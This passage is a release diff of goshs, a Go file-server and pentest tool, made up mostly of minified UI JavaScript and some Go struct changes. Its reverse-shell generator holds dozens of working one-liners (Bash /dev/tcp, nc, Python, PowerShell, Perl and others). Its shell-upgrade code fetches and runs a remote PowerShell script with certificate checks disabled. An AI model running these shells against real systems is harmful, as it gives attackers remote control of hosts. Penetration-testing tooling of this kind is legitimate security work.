th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let
 
n=document.getElementById("emb-th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function
 Je(e){let 
t=location.origin+encodeURIComponent(e).replace("%2F","/")+"?embedded";navigator.clipboard.writeText(t).then(()=>m("Link
 copied!","success")).catch(()=>m("Copy failed","error"))}function 
ze(e,t){document.querySelectorAll(".snav").forEach(o=>o.classList.remove("active")),document.querySelectorAll(".panel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let
 s=document.getElementById("panel-"+e);s&&s.classList.add("active")}function 
Xe(e,t){document.querySelectorAll(".ctab").forEach(o=>o.
 
classList.remove("active")),document.querySelectorAll(".cpanel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let
 s=document.getElementById("cpanel-"+e);s&&s.classList.add("active")}var 
Gt={md:"markdown",jpg:"image",jpeg:"image",png:"image",gif:"image",svg:"image",webp:"image",bmp:"image",ico:"image",mp4:"video",webm:"video",mp3:"audio",wav:"audio",ogg:"audio",pdf:"pdf",csv:"csv",txt:"text",json:"text",xml:"text",yaml:"text",yml:"text",go:"text",py:"text",js:"text",sh:"text",log:"text",css:"text",html:"text",rb:"text",java:"text",c:"text",cpp:"text",h:"text",rs:"text",toml:"text",ini:"text",cfg:"text",conf:"text",env:"text",ts:"text",sql:"text",bat:"text",ps1:"text",php:"text",pl:"text",swift:"text",kt:"text",dart:"text",lua:"text",r:"text",tex:"text",scss:"text",sass:"text",less:"text"};function
 V(e){let t=e.split(".").pop().toLowerCase();return Gt[t]||null}function 
W(e){let t=V(e);if(!t)return;let 
s=document.getElementById("md-content"),o=document.getElementB
 yId("md-title");switch(s.innerHTML="",o.textContent=e,t){case"image":var 
n=document.createElement("img");n.src=e,n.style.maxWidth="100%",n.style.borderRadius="4px",s.appendChild(n),S("md-modal");break;case"video":var
 
a=document.createElement("video");a.src=e,a.controls=!0,a.style.maxWidth="100%",a.style.borderRadius="4px",s.appendChild(a),S("md-modal");break;case"audio":var
 
c=document.createElement("audio");c.src=e,c.controls=!0,c.style.width="100%",s.appendChild(c),S("md-modal");break;case"pdf":var
 
i=document.createElement("iframe");i.src=e,i.style.width="100%",i.style.height="80vh",i.style.border="none",i.style.borderRadius="4px",s.appendChild(i),S("md-modal");break;case"markdown":fetch(e).then(l=>{if(!l.ok)throw
 new Error(l.statusText);return 
l.text()}).then(l=>{s.innerHTML=DOMPurify.sanitize(marked.parse(l)),S("md-modal")}).catch(()=>m("Failed
 to load preview","error"));break;case"csv":fetch(e).then(l=>{if(!l.ok)throw 
new Error(l.statusText);return l.text()}).then(l=>{var p=l.tr
 im().split(`
+`),h=document.createElement("table");h.className="preview-csv",p.forEach(function(u,C){var
 b=document.createElement("tr");u.split(",").forEach(function(f){var 
y=document.createElement(C===0?"th":"td");y.textContent=f.replace(/^"|"$/g,""),b.appendChild(y)}),h.appendChild(b)}),s.appendChild(h),S("md-modal")}).catch(()=>m("Failed
 to load preview","error"));break;case"text":fetch(e).then(l=>{if(!l.ok)throw 
new Error(l.statusText);return l.text()}).then(l=>{var 
p=e.split(".").pop().toLowerCase(),h=document.createElement("code");h.className="language-"+p,h.textContent=l;var
 
u=document.createElement("pre");u.className="preview-code",u.appendChild(h),s.appendChild(u),hljs.highlightElement(h),S("md-modal")}).catch(()=>m("Failed
 to load preview","error"));break}}function Ge(){let 
e=document.getElementById("file-tbody");e&&e.addEventListener("click",t=>{if(t.ctrlKey||t.metaKey||t.button!==0)return;let
 s=t.target.closest("a[href]");if(!s||s.hasAttribute("download"))return;let 
o=s.getAttribute("
 href")||"";V(o)&&(t.preventDefault(),W(o))})}function 
Ve(e){sessionStorage.setItem("activeTab","nav-clip"),location.reload()}function 
Qe(){let e=document.getElementById("clip-input").value.trim();if(e){var 
t={type:"newEntry",content:e};r.ws.send(JSON.stringify(t)),document.getElementById("clip-input").value=""}}function
 Ke(e){let t=document.querySelector("#clip-"+e+" 
.clip-card-body");t&&navigator.clipboard.writeText(t.textContent).then(()=>m("Copied!","success"))}function
 Ze(e){var t={type:"delEntry",content:e};r.ws.send(JSON.stringify(t))}function 
Ye(){window.open("/?cbDown","_blank")}function et(){if(confirm("Are you sure 
you want to clear the clipboard?")){var 
t={type:"clearClipboard",content:""};r.ws.send(JSON.stringify(t)).then(()=>m("Cleared!","success"))}}var
 nt="";function 
Q(e){nt=e,document.getElementById("share-result").style.display="none",document.getElementById("share-limit").value="0",document.getElementById("share-expire").value="0",S("share-modal")}function
 st(){let
  
e=document.getElementById("share-limit").value,s=(parseInt(document.getElementById("share-expire").value)||60)*60;var
 
o="";location.protocol!=="https:"?o="http://"+window.location.host:o="https://"+window.location.host;let
 
n=`${o}${nt}?share&expires=${s}`;parseInt(e)>0?n+=`&limit=${encodeURIComponent(e)}`:n+="&limit=-1",fetch(n,{method:"GET",headers:{Accept:"application/json"}}).then(a=>a.json()).then(a=>{let
 
c=document.getElementById("share-result");c.style.whiteSpace="pre",c.style.display="block",c.textContent=a.urls.join(`
 `);let 
i=document.getElementById("share-result-qr");i.style.display="block",new 
QRious({element:document.getElementById("share-qr-canvas"),value:a.urls[0],size:200})}).catch(()=>m("Share
 failed","error"))}function ot(e){var 
t="";location.protocol!=="https:"?t="http://"+window.location.host:t="https://"+window.location.host,e=e.replaceAll("//","/");let
 s=`${t}/${e}`.replaceAll("//","/");new 
QRious({element:document.getElementById("qr-canvas"),value:s,size:200}),document.getElementById("qr-url").textContent=s,S("qr-modal")}function
 at(){let 
e=location.protocol+"//"+window.location.host;document.querySelectorAll(".share-card").forEach(t=>{let
 
s=t.id.replace("share-card-",""),o=document.getElementById("share-url-"+s);if(o){let
 
n=t.querySelector(".share-card-path").textContent.trim();o.textContent=`${e}${n}?token=${s}`}}),tt(),setInterval(tt,3e4)}function
 tt(){let 
e=Math.floor(Date.now()/1e3);document.querySelectorAll(".share-expiry-rel").forEach(t=>{let
 o=parseInt(t.dataset.expires,10)-
 
e;o<=0?(t.textContent="expired",t.style.color="var(--danger)"):o<60?(t.textContent=`in
 ${o}s`,t.style.color="var(--warn)"):o<3600?(t.textContent=`in 
${Math.floor(o/60)}m`,t.style.color="var(--warn)"):o<86400?(t.textContent=`in 
${Math.floor(o/3600)}h`,t.style.color="var(--text1)"):(t.textContent=`in 
${Math.floor(o/86400)}d`,t.style.color="var(--text1)")})}function rt(e){let 
t=document.getElementById("share-url-"+e);if(!t)return;let 
s=t.textContent.trim();new 
QRious({element:document.getElementById("qr-canvas"),value:s,size:200}),document.getElementById("qr-url").textContent=s,S("qr-modal")}function
 ct(e){let 
t=document.getElementById("share-url-"+e);t&&navigator.clipboard.writeText(t.textContent.trim()).then(()=>m("URL
 copied","success")).catch(()=>m("Copy failed","error"))}function 
it(e,t){if(!confirm("Do you really want to delete the shared link?"))return;let 
o=(location.protocol==="https:"?"https://":"http://";)+window.location.host+"/?token="+e,n=document.querySelector('meta[name=
 
"csrf-token"]')?.content||"";fetch(o,{method:"DELETE",headers:{"X-CSRF-Token":n}}).then(()=>{sessionStorage.setItem("activeTab","nav-share"),location.reload()}).catch(()=>m("Delete
 failed","error"))}var lt={"Bash -i":"bash -i >& /dev/tcp/{IP}/{PORT} 
0>&1","Bash 196":"0<&196;exec 196<>/dev/tcp/{IP}/{PORT}; sh <&196 >&196 
2>&196","Bash read line":"exec 5<>/dev/tcp/{IP}/{PORT};cat <&5 | while read 
line; do $line 2>&5 >&5; done","Bash udp":"sh -i >& /dev/udp/{IP}/{PORT} 
0>&1","nc -e":"nc -e /bin/sh {IP} {PORT}","nc.exe -e":"nc.exe -e cmd.exe {IP} 
{PORT}","BusyBox nc -e":"busybox nc {IP} {PORT} -e sh","nc -c":"nc -c sh {IP} 
{PORT}","nc mkfifo":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {IP} 
{PORT} >/tmp/f","ncat -e":"ncat {IP} {PORT} -e /bin/sh","ncat udp":"rm 
/tmp/f;mkfifo /tmp/f;cat /tmp/f|ncat -u {IP} {PORT} >/tmp/f","Python3 
#1":`python3 -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP}",{PORT}));os.dup2(s.fileno(),0);os.dup2(s
 
.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`,"Python3 
#2":`python3 -c 'import 
socket,subprocess,os,pty;s=socket.socket();s.connect(("{IP}",{PORT}));[os.dup2(s.fileno(),fd)
 for fd in (0,1,2)];pty.spawn("/bin/sh")'`,"PHP exec":`php -r 
'$s=fsockopen("{IP}",{PORT});exec("/bin/sh -i <&3 >&3 2>&3");'`,"PHP 
shell_exec":`php -r '$s=fsockopen("{IP}",{PORT});shell_exec("/bin/sh -i <&3 >&3 
2>&3");'`,"PHP passthru":`php -r '$s=fsockopen("{IP}",{PORT});passthru("/bin/sh 
-i <&3 >&3 2>&3");'`,"PowerShell #1":'$LHOST = "{IP}"; $LPORT = {PORT}; 
$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = 
$TCPClient.GetStream(); $StreamReader = New-Object 
IO.StreamReader($NetworkStream); $StreamWriter = New-Object 
IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = 
New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while 
($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, 
$Buffer.Length); $Code = (
 [text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if 
($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { 
Invoke-Expression ($Code) 2>&1 } catch { $_ }; 
$StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); 
$NetworkStream.Close(); $StreamReader.Close(); 
$StreamWriter.Close()',"PowerShell #2":`powershell -nop -c "$client = 
New-Object System.Net.Sockets.TCPClient('{IP}',{port});$stream = 
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = 
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName 
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 
| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = 
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`,"PowerShell
 #3 (Base64)":"PS_B64:$client = New-Object 
System.Net.Sockets.TCPClient('{IP}',{port});$stream = 
$client.GetStream();[byte[]]$bytes 
 = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 
0){;$data = (New-Object -TypeName 
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 
| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = 
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()","PowerShell
 #4 (TLS)":"$sslProtocols = 
[System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object 
Net.Sockets.TCPClient('{IP}', {port});$NetworkStream = 
$TCPClient.GetStream();$SslStream = New-Object 
Net.Security.SslStream($NetworkStream,$false,({$true} -as 
[Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted
 -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object 
IO.StreamWriter($SslStream);function WriteToStream ($String) 
{[byte[]]$script:Buffer = New-Obj
 ect System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> 
');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = 
$SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = 
([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try 
{Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | 
Out-String}WriteToStream ($Output)}$StreamWriter.Close()","PowerShell #5 
(Base64, 
stderr)":`PS_B64:$ErrorView="NormalView";$ErrorActionPreference="Continue";$c=New-Object
 
System.Net.Sockets.TCPClient('{IP}',{port});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){$d=([text.encoding]::ASCII).GetString($b,0,$i);try{$o=iex
 $d 2>&1 3>&1 4>&1 5>&1 
6>&1|Out-String}catch{$o=$_|Out-String}if([string]::IsNullOrEmpty($o)){$o=""}$p="PS
 "+(pwd).Path+"> 
";[byte[]]$sb=([text.encoding]::ASCII).GetBytes($o+$p);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()`,Perl:`perl
 -e 'use Socket;$i="{IP}";$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobynam
 
e("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
 -i");};'`,Ruby:`ruby -rsocket -e'f=TCPSocket.open("{IP}",{PORT}).to_i;exec 
sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`,"Socat #1":"socat exec:'bash 
-li',pty,stderr,setsid,sigint,sane tcp:{IP}:{PORT}","Java #1":'Runtime rt = 
Runtime.getRuntime();String[] cmd = {"/bin/bash","-c","bash -i >& 
/dev/tcp/{IP}/{PORT} 0>&1"};rt.exec(cmd);',Lua:`lua -e 
'require("socket");require("os");t=socket.tcp();t:connect("{IP}","{PORT}");os.execute("/bin/sh
 -i <&3 >&3 2>&3");'`,Awk:`awk 
'BEGIN{s="/inet/tcp/0/{IP}/{PORT}";while(1){do{printf"$ "|&s;s|&getline 
c;if(c){while((c|&getline)>0)print$0|&s;close(c)}}while(c!="exit")}}'`,"node.js":"require('child_process').exec('/bin/sh
 -i <&3 >&3 2>&3')",Golang:`package main
 import(
 "os/exec"
@@ -291,4 +291,4 @@
 
`)),setTimeout(()=>{t.ws?.readyState===WebSocket.OPEN&&t.ws.send(s.encode(`python3
 -c 'import pty;pty.spawn("/bin/bash")' 2>/dev/null || python -c 'import 
pty;pty.spawn("/bin/bash")' 2>/dev/null || script /dev/null -qc /bin/bash 
2>/dev/null || true
 
`))},200),setTimeout(()=>{t.ws?.readyState===WebSocket.OPEN&&t.ws.send(s.encode(`stty
 rows ${o} cols ${n}
 `))},1500),t.lineMode=!1,t.lineBuffer="";let 
a=document.querySelector(`#session-${e} 
.catcher-session-linemode`);a&&a.classList.remove("active")}function xt(e){let 
t=x.sessions[e];if(!t?.ws||t.ws.readyState!==WebSocket.OPEN){m("Connect to the 
session first","err");return}let s=t.term?.rows||24,o=t.term?.cols||80,n=new 
TextEncoder,a=location.protocol==="https:"?"https":"http",c=location.host,l=`[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Add-Type
 -TypeDefinition 'using System.Net;using 
System.Security.Cryptography.X509Certificates;public class Trust{public static 
void 
Enable(){System.Net.ServicePointManager.ServerCertificateValidationCallback=delegate{return
 true;};}}';[Trust]::Enable();IEX((New-Object 
Net.WebClient).DownloadString('${`${a}://${c}/ConPtyShell.ps1?embedded`}'));Invoke-ConPtyShell
 -Upgrade -Rows ${s} -Cols ${o}
-`;t.ws.send(n.encode(l)),t.lineMode=!1,t.lineBuffer="";let 
p=document.querySelector(`#session-${e} 
.catcher-session-linemode`);p&&p.classList.remove("active"),m("Sent ConPtyShell 
upgrade command","ok")}function Ct(e){let 
t=x.sessions[e];t&&(t.ws&&(t.ws.close(),t.ws=null),t.term&&(t.term.dispose(),t.term=null),delete
 x.sessions[e])}function St(e){let 
t=document.querySelector('meta[name="csrf-token"]')?.content||"";fetch("/?catcher-api=kill-session",{method:"POST",headers:{"Content-Type":"application/json","X-CSRF-Token":t},body:JSON.stringify({id:e})}).then(()=>{Ct(e),document.getElementById(`session-${e}`)?.remove()}).catch(()=>{})}function
 
$t(){Vt()}Object.assign(window,{toggleTheme:Ue,switchPanel:ze,switchCollab:Xe,clearHTTP:we,clearDNS:xe,clearSMTP:Ee,clearSMB:Ce,clearLDAP:Se,filterHTTP:ve,renderDNS:j,renderSMB:U,renderLDAP:F,renderSMTP:W,exportHTTP:ue,exportDNS:he,exportSMTP:fe,exportSMB:ye,exportLDAP:be,exportAllLogs:ge,openHTMLPreview:$e,openLightbox:ee,toggleHTTPDetail:me,pre
 
viewFile:R,navigateTo:Le,filterFiles:Be,sortTable:Ie,clearSelection:te,downloadSelected:ne,downloadBulk:Pe,deleteFile:G,updateBulkBar:X,startUpload:qe,openUpload:Ne,openMkdir:Me,handleFileSelect:z,createDir:Re,removeUpload:Ae,sendClip:Qe,copyClip:Ke,deleteClip:Ze,downloadClipboard:Ye,clearClipboard:et,shareFile:Q,showQR:ot,showShareQR:rt,generateShareLink:st,deleteShareLink:it,copyShareUrl:ct,openModal:S,closeModal:A,filterEmbedded:We,sortEmbedded:_e,copyEmbLink:Je,spawnListenerTab:mt,switchCatcherTab:K,copyListenerCommand:pt,updateGeneratorOutput:oe,copyGeneratorOutput:dt,startCatcherListener:ut,restartCatcherListener:ft,stopCatcherListener:ht,showRestartForm:ae,connectCatcherSession:bt,killCatcherSession:St,resizeCatcherTerm:vt,toggleLineMode:gt,upgradeCatcherUnix:wt,upgradeCatcherWindows:xt});var
 Z=[],B=-1;function Et(){let 
e=document.getElementById("cli-input");e&&e.addEventListener("keydown",t=>{if(t.key==="Enter"){let
 s=e.value.trim();if(!s)return;Z.unshift(s),B=-1,re(s,"cmd")
 ,e.value="",r.ws.send(JSON.stringify({type:"command",content:s}))}else 
t.key==="ArrowUp"?(B=Math.min(B+1,Z.length-1),e.value=Z[B]||"",t.preventDefault()):t.key==="ArrowDown"&&(B=Math.max(B-1,-1),e.value=B>=0?Z[B]:"",t.preventDefault())})}function
 re(e,t){let s=document.getElementById("cli-output");if(!s)return;let 
o=document.createElement("pre");o.className="cli-line"+(t?" 
"+t:""),o.textContent=e,s.appendChild(o),s.scrollTop=s.scrollHeight}function 
kt(e){e.content?re(e.content,""):re("something went wrong","err")}var 
L={};function Tt(e){L=e}function ce(){let 
e=location.protocol==="https:"?"wss":"ws";r.ws=new 
WebSocket(`${e}://${window.location.host}/?ws`),r.ws.onopen=()=>{document.getElementById("ws-status").style.color="var(--accent)",document.getElementById("collab-status").textContent="connected",console.log("Websocket
 
connected")},r.ws.onclose=()=>{document.getElementById("ws-status").style.color="var(--danger)",document.getElementById("collab-status").textContent="reconnecting\
 u2026",setTimeout(ce,2500),console.log("WebSocket 
closed")},r.ws.onmessage=t=>{let 
s;try{s=JSON.parse(t.data)}catch{return}s.type==="dns"?L.onDNS(s):s.type==="smtp"?L.onSMTP(s):s.type==="http"?L.onHTTP(s):s.type==="smb"?L.onSMB(s):s.type==="ldap"?L.onLDAP(s):s.type==="refreshClipboard"?Ve(s):s.type==="reload"?location.reload():s.type==="catchup"?Zt(s):s.type==="updateCLI"?kt(s):s.type==="catcherConnection"&&yt(s)}}function
 Zt(e){let t=e.http||[];if(t.length){for(let 
i=t.length-1;i>=0;i--)r.httpEvents.push(t[i]);r.httpCnt=r.httpEvents.length,w("http-badge",r.httpCnt)}let
 s=e.dns||[];if(s.length){for(let i=s.length-1;i>=0;i--){let 
l=s[i];r.dnsEvents.push(l),r.dnsCnt.total++,l.qtype==="A"?r.dnsCnt.A++:l.qtype==="MX"?r.dnsCnt.MX++:l.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++}w("dns-badge",r.dnsEvents.length),w("dns-cnt-total",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other)}let
 o=e.smtp||[];if(o.leng
 th){for(let 
i=o.length-1;i>=0;i--)r.smtpEvents.push(o[i]);w("smtp-badge",r.smtpEvents.length)}let
 n=e.smb||[];if(n.length){for(let 
i=n.length-1;i>=0;i--)r.smbEvents.push(n[i]);w("smb-badge",r.smbEvents.length)}let
 a=e.ldap||[];if(a.length){for(let 
i=a.length-1;i>=0;i--)r.ldapEvents.push(a[i]);w("ldap-badge",r.ldapEvents.length)}let
 
c=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;if(c>0){let
 
i=document.getElementById("collab-badge");i.classList.add("show"),i.textContent=c}t.length&&L.renderHTTP(),s.length&&L.renderDNS(),o.length&&L.renderSMTP(),n.length&&L.renderSMB(),a.length&&L.renderLDAP()}function
 Lt(){let 
e=document.getElementById("ctx-menu");document.getElementById("file-tbody").addEventListener("contextmenu",t=>{let
 
s=t.target.closest("tr[data-name]");if(!s||!s.dataset.name||s.dataset.name==="..")return;t.preventDefault();let
 
o=s.dataset.name,n=s.dataset.isdir==="true",a=!n&&V(o);document.getElementById("ctx-download").style.display=n?
 
"none":"",document.getElementById("ctx-preview").style.display=a?"":"none",document.getElementById("ctx-preview").onclick=()=>{R(o),P()},document.getElementById("ctx-open").onclick=()=>{a?R(o):window.location.href=o+(n?"/":""),P()},document.getElementById("ctx-download").onclick=()=>{let
 
c=document.createElement("a");c.href=o,c.download=o,c.click(),P()},document.getElementById("ctx-share").onclick=()=>{Q(o),P()},document.getElementById("ctx-delete").onclick=()=>{G(o),P()},e.style.left=Math.min(t.clientX,window.innerWidth-180)+"px",e.style.top=Math.min(t.clientY,window.innerHeight-180)+"px",e.classList.add("open")}),document.addEventListener("click",P)}function
 
P(){document.getElementById("ctx-menu").classList.remove("open")}de(P);document.addEventListener("DOMContentLoaded",()=>{let
 
e=sessionStorage.getItem("activeTab");if(e){sessionStorage.removeItem("activeTab");let
 
s=document.getElementById(e);s&&s.click()}je(),Ge(),De(),Et(),Lt(),at(),$t();let
 t=ke();Tt(t),ce()});})();
+`;t.ws.send(n.encode(l)),t.lineMode=!1,t.lineBuffer="";let 
p=document.querySelector(`#session-${e} 
.catcher-session-linemode`);p&&p.classList.remove("active"),m("Sent ConPtyShell 
upgrade command","ok")}function Ct(e){let 
t=x.sessions[e];t&&(t.ws&&(t.ws.close(),t.ws=null),t.term&&(t.term.dispose(),t.term=null),delete
 x.sessions[e])}function St(e){let 
t=document.querySelector('meta[name="csrf-token"]')?.content||"";fetch("/?catcher-api=kill-session",{method:"POST",headers:{"Content-Type":"application/json","X-CSRF-Token":t},body:JSON.stringify({id:e})}).then(()=>{Ct(e),document.getElementById(`session-${e}`)?.remove()}).catch(()=>{})}function
 
$t(){Vt()}Object.assign(window,{toggleTheme:Ue,switchPanel:ze,switchCollab:Xe,clearHTTP:we,clearDNS:xe,clearSMTP:Ee,clearSMB:Ce,clearLDAP:Se,filterHTTP:ve,renderDNS:H,renderSMB:j,renderLDAP:U,renderSMTP:F,exportHTTP:ue,exportDNS:he,exportSMTP:fe,exportSMB:ye,exportLDAP:be,exportAllLogs:ge,openHTMLPreview:$e,openLightbox:ee,toggleHTTPDetail:me,pre
 
viewFile:W,navigateTo:Le,filterFiles:Be,sortTable:Ie,clearSelection:te,downloadSelected:ne,downloadBulk:Pe,deleteFile:G,updateBulkBar:X,startUpload:qe,openUpload:Ne,openMkdir:Me,handleFileSelect:z,createDir:Re,removeUpload:Ae,sendClip:Qe,copyClip:Ke,deleteClip:Ze,downloadClipboard:Ye,clearClipboard:et,shareFile:Q,showQR:ot,showShareQR:rt,generateShareLink:st,deleteShareLink:it,copyShareUrl:ct,openModal:S,closeModal:A,filterEmbedded:We,sortEmbedded:_e,copyEmbLink:Je,spawnListenerTab:mt,switchCatcherTab:K,copyListenerCommand:pt,updateGeneratorOutput:oe,copyGeneratorOutput:dt,startCatcherListener:ut,restartCatcherListener:ft,stopCatcherListener:ht,showRestartForm:ae,connectCatcherSession:bt,killCatcherSession:St,resizeCatcherTerm:vt,toggleLineMode:gt,upgradeCatcherUnix:wt,upgradeCatcherWindows:xt});var
 Z=[],B=-1;function Et(){let 
e=document.getElementById("cli-input");e&&e.addEventListener("keydown",t=>{if(t.key==="Enter"){let
 s=e.value.trim();if(!s)return;Z.unshift(s),B=-1,re(s,"cmd")
 ,e.value="",r.ws.send(JSON.stringify({type:"command",content:s}))}else 
t.key==="ArrowUp"?(B=Math.min(B+1,Z.length-1),e.value=Z[B]||"",t.preventDefault()):t.key==="ArrowDown"&&(B=Math.max(B-1,-1),e.value=B>=0?Z[B]:"",t.preventDefault())})}function
 re(e,t){let s=document.getElementById("cli-output");if(!s)return;let 
o=document.createElement("pre");o.className="cli-line"+(t?" 
"+t:""),o.textContent=e,s.appendChild(o),s.scrollTop=s.scrollHeight}function 
kt(e){e.content?re(e.content,""):re("something went wrong","err")}var 
L={};function Tt(e){L=e}function ce(){let 
e=location.protocol==="https:"?"wss":"ws";r.ws=new 
WebSocket(`${e}://${window.location.host}/?ws`),r.ws.onopen=()=>{document.getElementById("ws-status").style.color="var(--accent)",document.getElementById("collab-status").textContent="connected",console.log("Websocket
 
connected")},r.ws.onclose=()=>{document.getElementById("ws-status").style.color="var(--danger)",document.getElementById("collab-status").textContent="reconnecting\
 u2026",setTimeout(ce,2500),console.log("WebSocket 
closed")},r.ws.onmessage=t=>{let 
s;try{s=JSON.parse(t.data)}catch{return}s.type==="dns"?L.onDNS(s):s.type==="smtp"?L.onSMTP(s):s.type==="http"?L.onHTTP(s):s.type==="smb"?L.onSMB(s):s.type==="ldap"?L.onLDAP(s):s.type==="refreshClipboard"?Ve(s):s.type==="reload"?location.reload():s.type==="catchup"?Zt(s):s.type==="updateCLI"?kt(s):s.type==="catcherConnection"&&yt(s)}}function
 Zt(e){let t=e.http||[];if(t.length){for(let 
i=t.length-1;i>=0;i--)r.httpEvents.push(t[i]);r.httpCnt=r.httpEvents.length,w("http-badge",r.httpCnt)}let
 s=e.dns||[];if(s.length){for(let i=s.length-1;i>=0;i--){let 
l=s[i];r.dnsEvents.push(l),r.dnsCnt.total++,l.qtype==="A"?r.dnsCnt.A++:l.qtype==="MX"?r.dnsCnt.MX++:l.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++}w("dns-badge",r.dnsEvents.length),w("dns-cnt-total",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other)}let
 o=e.smtp||[];if(o.leng
 th){for(let 
i=o.length-1;i>=0;i--)r.smtpEvents.push(o[i]);w("smtp-badge",r.smtpEvents.length)}let
 n=e.smb||[];if(n.length){for(let 
i=n.length-1;i>=0;i--)r.smbEvents.push(n[i]);w("smb-badge",r.smbEvents.length)}let
 a=e.ldap||[];if(a.length){for(let 
i=a.length-1;i>=0;i--)r.ldapEvents.push(a[i]);w("ldap-badge",r.ldapEvents.length)}let
 
c=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;if(c>0){let
 
i=document.getElementById("collab-badge");i.classList.add("show"),i.textContent=c}t.length&&L.renderHTTP(),s.length&&L.renderDNS(),o.length&&L.renderSMTP(),n.length&&L.renderSMB(),a.length&&L.renderLDAP()}function
 Lt(){let 
e=document.getElementById("ctx-menu");document.getElementById("file-tbody").addEventListener("contextmenu",t=>{let
 
s=t.target.closest("tr[data-name]");if(!s||!s.dataset.name||s.dataset.name==="..")return;t.preventDefault();let
 
o=s.dataset.name,n=s.dataset.isdir==="true",a=!n&&V(o);document.getElementById("ctx-download").style.display=n?
 
"none":"",document.getElementById("ctx-preview").style.display=a?"":"none",document.getElementById("ctx-preview").onclick=()=>{W(o),P()},document.getElementById("ctx-open").onclick=()=>{window.open(o+(n?"/":""),"_blank"),P()},document.getElementById("ctx-download").onclick=()=>{let
 
c=document.createElement("a");c.href=o,c.download=o,c.click(),P()},document.getElementById("ctx-share").onclick=()=>{Q(o),P()},document.getElementById("ctx-delete").onclick=()=>{G(o),P()},e.style.left=Math.min(t.clientX,window.innerWidth-180)+"px",e.style.top=Math.min(t.clientY,window.innerHeight-180)+"px",e.classList.add("open")}),document.addEventListener("click",P)}function
 
P(){document.getElementById("ctx-menu").classList.remove("open")}de(P);document.addEventListener("DOMContentLoaded",()=>{let
 
e=sessionStorage.getItem("activeTab");if(e){sessionStorage.removeItem("activeTab");let
 
s=document.getElementById(e);s&&s.click()}je(),Ge(),De(),Et(),Lt(),at(),$t();let
 t=ke();Tt(t),ce()});})();
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/structs.go 
new/goshs-2.1.0/httpserver/structs.go
--- old/goshs-2.0.9/httpserver/structs.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/structs.go       2026-05-29 12:20:25.000000000 
+0200
@@ -93,7 +93,7 @@
        Options        *options.Options
        CatcherMgr     *catcher.Manager
        CSRFToken      string
-       authCache      map[string]bool
+       authCache      map[string]time.Time // expiry time per verified 
credential
        authCacheMu    sync.RWMutex
        authFailures   map[string]*authFailEntry
        authFailMu     sync.Mutex
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/integration/functions.go 
new/goshs-2.1.0/integration/functions.go
--- old/goshs-2.0.9/integration/functions.go    2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/integration/functions.go    2026-05-29 12:20:25.000000000 
+0200
@@ -89,7 +89,7 @@
                FromDockerfile: testcontainers.FromDockerfile{
                        Context:    dockerfilePath,
